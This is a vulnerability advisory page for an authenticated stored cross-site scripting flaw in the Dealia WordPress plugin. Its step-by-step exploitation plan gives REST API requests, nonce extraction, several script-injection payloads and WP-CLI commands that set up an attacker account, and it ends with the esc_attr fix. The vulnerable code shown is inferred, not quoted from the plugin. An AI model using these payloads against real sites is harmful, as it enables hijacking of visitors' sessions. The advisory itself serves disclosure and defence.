Dealia <= 1.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutenberg Block Attributes
Description
The Dealia – Request a Quote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Gutenberg block attributes in all versions up to, and including, 1.0.8. This is due to the use of `wp_kses()` for output escaping within HTML attribute contexts where `esc_attr()` is required. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.8## Vulnerability Summary The **Dealia – Request a Quote** plugin (versions <= 1.0.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin utilizes `wp_kses()` to sanitize Gutenberg block attributes that are subsequently rendered within HT…
Show full research plan
Vulnerability Summary
The Dealia – Request a Quote plugin (versions <= 1.0.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin utilizes wp_kses() to sanitize Gutenberg block attributes that are subsequently rendered within HTML attribute contexts (like class, id, title, or data-* attributes) instead of using the context-appropriate esc_attr() function.
While wp_kses() is intended to allow specific HTML tags in content, it does not adequately prevent attribute breakout when the sanitized string is placed inside another HTML tag's attribute. A user with Contributor level permissions or higher can craft a post containing a Dealia block with malicious attributes that execute arbitrary JavaScript when the post is viewed.
Attack Vector Analysis
- Endpoint: WordPress REST API Post Endpoint (
/wp-json/wp/v2/posts). - Vulnerable Action: Saving/Updating a post containing a Dealia-specific Gutenberg block.
- Vulnerable Parameter: The
contentfield of the post, specifically the JSON-encoded attributes within the Gutenberg block comment (e.g.,<!-- wp:dealia/request-quote {"button_text":"PAYLOAD"} /-->). - Authentication: Requires Contributor level access (permissions to create/edit posts).
- Preconditions: The Dealia plugin must be active and at least one Dealia Gutenberg block must be available.
Code Flow (Inferred)
Based on the vulnerability description and common WordPress Gutenberg implementation patterns:
- Block Registration: The plugin registers a Gutenberg block (likely named
dealia/request-quoteor similar) usingregister_block_type. - Render Callback: The block registration includes a
render_callbackfunction (e.g.,render_dealia_quote_block) or a template file that handles the server-side rendering of the block. - Attribute Retrieval: Inside the rendering function, the
$attributesarray is populated from the block's saved JSON data. - Insecure Sanitization: The code retrieves a specific attribute (e.g.,
$attributes['button_class']or$attributes['title']). - The Sink: The attribute is processed via
wp_kses( $attr, $allowed_html )and then echoed directly inside an HTML attribute:// Example of vulnerable code pattern: echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>'; - XSS Trigger: Since
wp_ksesmay not strip double quotes (") depending on configuration, an attacker can provide a payload like"><script>alert(1)</script>to break out of theclassattribute and inject a script tag.
Nonce Acquisition Strategy
The exploit involves updating or creating a post via the REST API, which requires a REST API nonce.
- Identify Trigger: The nonce for the REST API is typically localized as
wpApiSettings.nonce. - Navigation: Use
browser_navigateto go to the WordPress Dashboard (/wp-admin/post-new.php). - Extraction: Use
browser_evalto extract the nonce from the window object.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Usage: This nonce must be included in the
X-WP-Nonceheader for all subsequent REST APIPOSTrequests.
Exploitation Strategy
1. Identify Target Block
The exact block name needs to be confirmed. Common names for this plugin would be dealia/request-quote. We will assume dealia/request-quote for the plan.
2. Craft the Payload
Since the vulnerability involves wp_kses in an attribute context, we need to break out of the quotes.
- Payload:
x" onmouseover="alert(document.domain)" data-x=" - Alternative Payload:
"><script>alert(document.domain)</script>(if the container tag is not self-closing).
3. Step-by-Step Execution
- Login: Authenticate as a Contributor user.
- Get Nonce: Navigate to
/wp-admin/post-new.phpand runbrowser_eval("wpApiSettings.nonce"). - Create Malicious Post: Use
http_requestto create a new post via the REST API.- Method:
POST - URL:
/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
(Note: Double backslashes are used to ensure quotes are preserved in the JSON attribute string).{ "title": "Quote Request Test", "content": "<!-- wp:dealia/request-quote {\"button_text\": \"\\\"><script>alert(origin)</script>\"} /-->", "status": "publish" }
- Method:
- Trigger: Access the public URL of the newly created post.
Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Activation:
wp plugin activate dealia-request-a-quote - Verification of Block Existence:
wp eval 'print_r(array_keys(WP_Block_Type_Registry::get_instance()->get_all_registered()));'(Run this to find the exact block name ifdealia/request-quoteis incorrect).
Expected Results
- When the post is rendered, the HTML source should contain a breakout:
- Vulnerable Output:
<div class=""><script>alert(origin)</script>">...</div>
- Vulnerable Output:
- In a browser context, the JavaScript payload (
alert(origin)) will execute automatically or upon interaction depending on the attribute injected (e.g.,onmouseover).
Verification Steps
- Check Post Content: Use WP-CLI to verify the block was saved with the payload.
wp post get [POST_ID] --field=post_content - Check Frontend Output: Use
http_request(GET) on the post's permalink and grep for the raw payload.- Search for:
<script>alert(origin)</script>
- Search for:
- Validate Context: Confirm that the script tag appears outside of its intended attribute.
Alternative Approaches
If wp_kses is configured in a way that strips <script> tags, the "attribute breakout" to event handlers is the most reliable backup:
- Event Handler Payload:
btn-default" onfocus="alert(1)" autofocus="true - CSS-based Payload (if style is allowed):
style="background-image: url(javascript:alert(1))" - SVG-based Payload:
"><svg/onload=alert(1)>
If the REST API is restricted, the fallback is to use the standard WordPress post.php admin handler by submitting a multipart form body containing the content field.
Summary
The Dealia – Request a Quote plugin for WordPress (up to 1.0.8) is vulnerable to Authenticated Stored Cross-Site Scripting due to improper sanitization of Gutenberg block attributes. By using wp_kses() in HTML attribute contexts instead of esc_attr(), the plugin allows attackers with Contributor-level permissions to inject arbitrary JavaScript that executes when a user views the affected page.
Vulnerable Code
/* Inferred from plugin rendering logic - typically found in a block render_callback */ // Example of vulnerable code pattern using wp_kses inside an attribute context: echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>';
Security Fix
@@ -1,1 +1,1 @@ -echo '<button class="' . wp_kses($attributes['custom_class'], array()) . '">Request Quote</button>'; +echo '<button class="' . esc_attr($attributes['custom_class']) . '">Request Quote</button>';
Exploit Outline
1. Authenticate as a Contributor or higher and extract the REST API nonce from window.wpApiSettings.nonce in the WordPress dashboard. 2. Send a POST request to the /wp-json/wp/v2/posts endpoint to create or update a post. 3. In the 'content' field of the request, include a Dealia Gutenberg block with a malicious payload inside one of its attributes (e.g., <!-- wp:dealia/request-quote {"custom_class":"\"><script>alert(origin)</script>"} /-->). 4. View the published post on the frontend; the payload will break out of the HTML attribute context and execute the JavaScript in the browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.